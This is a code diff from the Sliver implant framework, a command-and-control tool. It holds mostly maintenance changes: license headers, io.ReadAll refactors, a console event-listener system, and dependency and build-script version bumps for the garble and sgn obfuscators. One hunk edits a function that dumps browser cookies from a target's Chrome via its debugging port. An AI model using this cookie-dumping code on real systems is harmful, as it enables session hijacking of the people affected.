|
||||
// ---------------------
|
||||
// Privilege commands
|
||||
@@ -548,6 +566,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
"overflow": &grumble.FlagMapItem{Value: false},
|
||||
"skip-pages": &grumble.FlagMapItem{Value: 0},
|
||||
"print-cmdline": &grumble.FlagMapItem{Value: true},
|
||||
"tree": &grumble.FlagMapItem{Value: false},
|
||||
},
|
||||
}
|
||||
processes.PrintPS(beacon.OS, ps, true, ctx, con)
|
||||
|
||||
@@ -1,10 +1,27 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"os"
|
||||
"path"
|
||||
@@ -94,7 +111,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
data, err := ioutil.ReadAll(file)
|
||||
data, err := io.ReadAll(file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
return sortedContents[i].Path < sortedContents[j].Path
|
||||
})
|
||||
for _, content := range sortedContents {
|
||||
tw.AppendHeader(table.Row{
|
||||
tw.AppendRow(table.Row{
|
||||
content.Path,
|
||||
content.ContentType,
|
||||
content.Size,
|
||||
|
||||
@@ -44,6 +44,7 @@ import (
|
||||
"github.com/desertbit/go-shlex"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/fatih/color"
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
@@ -91,6 +92,7 @@ type SliverConsoleClient struct {
|
||||
App *grumble.App
|
||||
Rpc rpcpb.SliverRPCClient
|
||||
ActiveTarget *ActiveTarget
|
||||
EventListeners *sync.Map
|
||||
BeaconTaskCallbacks map[string]BeaconTaskCallback
|
||||
BeaconTaskCallbacksMutex *sync.Mutex
|
||||
IsServer bool
|
||||
@@ -120,6 +122,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
observers: map[int]Observer{},
|
||||
observerID: 0,
|
||||
},
|
||||
EventListeners: &sync.Map{},
|
||||
BeaconTaskCallbacks: map[string]BeaconTaskCallback{},
|
||||
BeaconTaskCallbacksMutex: &sync.Mutex{},
|
||||
IsServer: isServer,
|
||||
@@ -136,7 +139,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
})
|
||||
|
||||
go con.EventLoop()
|
||||
go con.startEventLoop()
|
||||
go core.TunnelLoop(rpc)
|
||||
|
||||
err := con.App.Run()
|
||||
@@ -146,7 +149,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
|
||||
return err
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) EventLoop() {
|
||||
func (con *SliverConsoleClient) startEventLoop() {
|
||||
eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
fmt.Printf(Warn+"%s\n", err)
|
||||
@@ -158,7 +161,10 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
return
|
||||
}
|
||||
|
||||
go con.triggerEventListeners(event)
|
||||
|
||||
// Trigger event based on type
|
||||
echoed := false // Only echo the event once
|
||||
switch event.EventType {
|
||||
|
||||
case consts.CanaryEvent:
|
||||
@@ -168,6 +174,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
msg := string(event.Data)
|
||||
@@ -177,15 +184,19 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.JoinedEvent:
|
||||
con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
|
||||
echoed = true
|
||||
case consts.LeftEvent:
|
||||
con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
|
||||
echoed = true
|
||||
|
||||
case consts.JobStoppedEvent:
|
||||
job := event.Job
|
||||
con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
|
||||
echoed = true
|
||||
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
@@ -201,12 +212,14 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
|
||||
echoed = true
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
@@ -229,6 +242,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
}
|
||||
con.PrintEventInfof("Removed session %s from Operator", session.Name)
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.BeaconRegisteredEvent:
|
||||
beacon := &clientpb.Beacon{}
|
||||
@@ -247,18 +261,46 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
echoed = true
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
con.triggerBeaconTaskCallback(event.Data)
|
||||
echoed = true
|
||||
|
||||
}
|
||||
|
||||
con.triggerReactions(event)
|
||||
|
||||
con.Printf(Clearln + con.GetPrompt())
|
||||
bufio.NewWriter(con.App.Stdout()).Flush()
|
||||
// Only render if we echoed the event
|
||||
if echoed {
|
||||
con.Printf(Clearln + con.GetPrompt())
|
||||
bufio.NewWriter(con.App.Stdout()).Flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
|
||||
listener := make(chan *clientpb.Event, 100)
|
||||
listenerID, _ := uuid.NewV4()
|
||||
con.EventListeners.Store(listenerID.String(), listener)
|
||||
return listenerID.String(), listener
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
|
||||
value, ok := con.EventListeners.LoadAndDelete(listenerID)
|
||||
if ok {
|
||||
close(value.(chan *clientpb.Event))
|
||||
}
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
|
||||
con.EventListeners.Range(func(key, value interface{}) bool {
|
||||
listener := value.(chan *clientpb.Event)
|
||||
listener <- event // Do not block while sending the event to the listener
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
|
||||
reactions := core.Reactions.On(event.EventType)
|
||||
if len(reactions) == 0 {
|
||||
|
||||
@@ -90,7 +90,10 @@ const (
|
||||
BeaconTaskResultEvent = "beacon-taskresult"
|
||||
|
||||
// ExternalBuildEvent
|
||||
ExternalBuildEvent = "external-build"
|
||||
ExternalBuildEvent = "external-build"
|
||||
AcknowledgeBuildEvent = "external-acknowledge"
|
||||
ExternalBuildFailedEvent = "external-build-failed"
|
||||
ExternalBuildCompletedEvent = "external-build-completed"
|
||||
|
||||
// WireGuardNewPeer - New Wireguard peer added
|
||||
WireGuardNewPeer = "wireguard-newpeer"
|
||||
@@ -253,6 +256,8 @@ const (
|
||||
CursedElectron = "electron"
|
||||
CursedEdge = "edge"
|
||||
CursedCookies = "cookies"
|
||||
|
||||
BuildersStr = "builders"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -22,8 +22,7 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"net/url"
|
||||
@@ -59,7 +58,7 @@ const (
|
||||
|
||||
var (
|
||||
// ErrTargetNotFound - Returned when a target cannot be found
|
||||
ErrTargetNotFound = errors.New("Target not found")
|
||||
ErrTargetNotFound = errors.New("target not found")
|
||||
)
|
||||
|
||||
// ManifestBackground - An extension manifest file
|
||||
@@ -129,7 +128,7 @@ func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
|
||||
return nil
|
||||
}
|
||||
for _, targetInfo := range targets {
|
||||
if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
|
||||
if targetInfo.TargetID.String() == targetID {
|
||||
return targetInfo
|
||||
}
|
||||
}
|
||||
@@ -227,9 +226,9 @@ func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
return nil, errors.New("non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -245,9 +244,9 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, errors.New("Non-200 status code")
|
||||
return nil, errors.New("non-200 status code")
|
||||
}
|
||||
data, err := ioutil.ReadAll(resp.Body)
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -276,13 +275,10 @@ func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Coo
|
||||
dumpCookieTasks := chromedp.Tasks{
|
||||
// read network values
|
||||
chromedp.ActionFunc(func(ctx context.Context) error {
|
||||
cookies, err = network.GetAllCookies().Do(ctx)
|
||||
cookies, err = network.GetCookies().Do(ctx)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// for i, cookie := range cookies {
|
||||
// log.Printf("chrome cookie %d: %+v", i, cookie)
|
||||
// }
|
||||
return nil
|
||||
}),
|
||||
}
|
||||
|
||||
@@ -37,3 +37,5 @@ gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
|
||||
# kramdown v1, comment out this line.
|
||||
gem "kramdown-parser-gfm"
|
||||
|
||||
|
||||
gem "webrick", "~> 1.8"
|
||||
+43
-61
@@ -1,62 +1,43 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (6.0.4.6)
|
||||
activesupport (6.0.6.1)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 0.7, < 2)
|
||||
minitest (~> 5.1)
|
||||
tzinfo (~> 1.1)
|
||||
zeitwerk (~> 2.2, >= 2.2.2)
|
||||
addressable (2.8.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
addressable (2.8.1)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
coffee-script (2.4.1)
|
||||
coffee-script-source
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.23.6)
|
||||
concurrent-ruby (1.1.9)
|
||||
commonmarker (0.23.8)
|
||||
concurrent-ruby (1.2.0)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0)
|
||||
ethon (0.15.0)
|
||||
ethon (0.16.0)
|
||||
ffi (>= 1.15.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
faraday (1.10.0)
|
||||
faraday-em_http (~> 1.0)
|
||||
faraday-em_synchrony (~> 1.0)
|
||||
faraday-excon (~> 1.1)
|
||||
faraday-httpclient (~> 1.0)
|
||||
faraday-multipart (~> 1.0)
|
||||
faraday-net_http (~> 1.0)
|
||||
faraday-net_http_persistent (~> 1.0)
|
||||
faraday-patron (~> 1.0)
|
||||
faraday-rack (~> 1.0)
|
||||
faraday-retry (~> 1.0)
|
||||
faraday (2.7.4)
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-em_http (1.0.0)
|
||||
faraday-em_synchrony (1.0.0)
|
||||
faraday-excon (1.1.0)
|
||||
faraday-httpclient (1.0.1)
|
||||
faraday-multipart (1.0.3)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faraday-net_http (1.0.1)
|
||||
faraday-net_http_persistent (1.2.0)
|
||||
faraday-patron (1.0.0)
|
||||
faraday-rack (1.0.0)
|
||||
faraday-retry (1.0.3)
|
||||
faraday-net_http (3.0.2)
|
||||
ffi (1.15.5)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (225)
|
||||
github-pages (228)
|
||||
github-pages-health-check (= 1.17.9)
|
||||
jekyll (= 3.9.0)
|
||||
jekyll (= 3.9.3)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.2.0)
|
||||
jekyll-commonmark-ghpages (= 0.4.0)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
|
||||
@@ -88,12 +69,12 @@ GEM
|
||||
jekyll-theme-time-machine (= 0.2.0)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.1)
|
||||
kramdown (= 2.3.2)
|
||||
kramdown-parser-gfm (= 1.1.0)
|
||||
liquid (= 4.0.3)
|
||||
liquid (= 4.0.4)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.12.5, < 2.0)
|
||||
nokogiri (>= 1.13.6, < 2.0)
|
||||
rouge (= 3.26.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.17.9)
|
||||
@@ -102,17 +83,17 @@ GEM
|
||||
octokit (~> 4.0)
|
||||
public_suffix (>= 3.0, < 5.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.14.0)
|
||||
html-pipeline (2.14.3)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (0.9.5)
|
||||
i18n (1.12.0)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.9.0)
|
||||
jekyll (3.9.3)
|
||||
addressable (~> 2.4)
|
||||
colorator (~> 1.0)
|
||||
em-websocket (~> 0.5)
|
||||
i18n (~> 0.7)
|
||||
i18n (>= 0.7, < 2)
|
||||
jekyll-sass-converter (~> 1.0)
|
||||
jekyll-watch (~> 2.0)
|
||||
kramdown (>= 1.17, < 3)
|
||||
@@ -128,11 +109,11 @@ GEM
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.4.0)
|
||||
commonmarker (~> 0.22)
|
||||
jekyll-commonmark-ghpages (0.2.0)
|
||||
commonmarker (~> 0.23.4)
|
||||
jekyll-commonmark-ghpages (0.4.0)
|
||||
commonmarker (~> 0.23.7)
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-commonmark (~> 1.4.0)
|
||||
rouge (>= 2.0, < 4.0)
|
||||
rouge (>= 2.0, < 5.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-feed (0.15.1)
|
||||
@@ -216,33 +197,32 @@ GEM
|
||||
gemoji (~> 3.0)
|
||||
html-pipeline (~> 2.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
kramdown (2.3.1)
|
||||
kramdown (2.3.2)
|
||||
rexml
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.3)
|
||||
listen (3.7.1)
|
||||
liquid (4.0.4)
|
||||
listen (3.8.0)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
mercenary (0.3.6)
|
||||
mini_portile2 (2.8.0)
|
||||
mini_portile2 (2.8.1)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.15.0)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.13.6)
|
||||
minitest (5.17.0)
|
||||
nokogiri (1.14.1)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.22.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (4.0.6)
|
||||
racc (1.6.0)
|
||||
rb-fsevent (0.11.1)
|
||||
public_suffix (4.0.7)
|
||||
racc (1.6.2)
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
@@ -255,9 +235,9 @@ GEM
|
||||
sass-listen (4.0.0)
|
||||
rb-fsevent (~> 0.9, >= 0.9.4)
|
||||
rb-inotify (~> 0.9, >= 0.9.7)
|
||||
sawyer (0.8.2)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
simpleidn (0.2.1)
|
||||
unf (~> 0.1.4)
|
||||
terminal-table (1.8.0)
|
||||
@@ -265,16 +245,17 @@ GEM
|
||||
thread_safe (0.3.6)
|
||||
typhoeus (1.4.0)
|
||||
ethon (>= 0.9.0)
|
||||
tzinfo (1.2.10)
|
||||
tzinfo (1.2.11)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2021.5)
|
||||
tzinfo-data (1.2022.7)
|
||||
tzinfo (>= 1.0.0)
|
||||
unf (0.1.4)
|
||||
unf_ext
|
||||
unf_ext (0.0.8)
|
||||
unf_ext (0.0.8.2)
|
||||
unicode-display_width (1.8.0)
|
||||
wdm (0.1.1)
|
||||
zeitwerk (2.5.4)
|
||||
webrick (1.8.1)
|
||||
zeitwerk (2.6.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -287,6 +268,7 @@ DEPENDENCIES
|
||||
tzinfo (~> 1.2)
|
||||
tzinfo-data
|
||||
wdm (~> 0.1.0)
|
||||
webrick (~> 1.8)
|
||||
|
||||
BUNDLED WITH
|
||||
1.17.3
|
||||
2.4.6
|
||||
@@ -31,6 +31,15 @@ show_downloads: true
|
||||
plugins:
|
||||
- jekyll-feed
|
||||
|
||||
plugins:
|
||||
- jekyll-notion
|
||||
|
||||
# https://www.notion.so/sliver-sh/Sliver-4bbf1c77cabc46e09428c871283683d3?pvs=4
|
||||
notion:
|
||||
fetch_on_watch: true
|
||||
databases:
|
||||
- id: 4bbf1c77cabc46e09428c871283683d3
|
||||
|
||||
# Exclude from processing.
|
||||
# The following items will not be processed, by default. Create a custom list
|
||||
# to override the default setting.
|
||||
|
||||
+2
-2
@@ -170,6 +170,6 @@ for USER_DIR in "${USER_DIRS[@]}"; do
|
||||
if id -u $USER >/dev/null 2>&1; then
|
||||
mkdir -p $USER_DIR/.sliver-client/configs
|
||||
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
|
||||
chown -R $USER:$USER $USER_DIR/.sliver-client/
|
||||
chown -R $USER:"$(id -gn $USER)" $USER_DIR/.sliver-client/
|
||||
fi
|
||||
done
|
||||
done
|
||||
+4
-5
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.19.1"
|
||||
GARBLE_VER="1.19.2"
|
||||
GO_VER="1.20.1"
|
||||
GARBLE_VER="1.20.2"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
@@ -156,8 +156,8 @@ echo "-----------------------------------------------------------------"
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-$GO_ARCH_2
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
|
||||
@@ -190,7 +190,6 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
|
||||
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
|
||||
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
rm -rf $WORK_DIR
|
||||
|
||||
@@ -10,51 +10,50 @@ require (
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
|
||||
github.com/chromedp/chromedp v0.8.5
|
||||
github.com/chromedp/cdproto v0.0.0-20230109101555-6b041c6303cc
|
||||
github.com/chromedp/chromedp v0.8.7
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/gofrs/uuid v4.3.0+incompatible
|
||||
github.com/fatih/color v1.14.1
|
||||
github.com/gofrs/uuid v4.4.0+incompatible
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.3.0
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8
|
||||
github.com/jedib0t/go-pretty/v6 v6.4.4
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/mattn/go-sqlite3 v1.14.15
|
||||
github.com/mattn/go-sqlite3 v1.14.16
|
||||
github.com/miekg/dns v1.1.50
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/onsi/ginkgo v1.16.5
|
||||
github.com/onsi/gomega v1.20.2
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/shirou/gopsutil/v3 v3.22.8
|
||||
github.com/pquerna/otp v1.4.0
|
||||
github.com/sirupsen/logrus v1.9.0
|
||||
github.com/spf13/cobra v1.5.0
|
||||
github.com/stretchr/testify v1.8.0
|
||||
github.com/spf13/cobra v1.6.1
|
||||
github.com/stretchr/testify v1.8.1
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
|
||||
golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.3.7
|
||||
github.com/xlab/treeprint v1.1.0
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.6.0
|
||||
golang.org/x/net v0.7.0
|
||||
golang.org/x/sys v0.5.0
|
||||
golang.org/x/term v0.5.0
|
||||
golang.org/x/text v0.7.0
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.28.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gorm.io/driver/mysql v1.3.6
|
||||
gorm.io/driver/postgres v1.3.10
|
||||
gorm.io/driver/sqlite v1.3.6
|
||||
gorm.io/gorm v1.23.9
|
||||
gorm.io/driver/mysql v1.4.7
|
||||
gorm.io/driver/postgres v1.4.8
|
||||
gorm.io/driver/sqlite v1.4.4
|
||||
gorm.io/gorm v1.24.5
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
|
||||
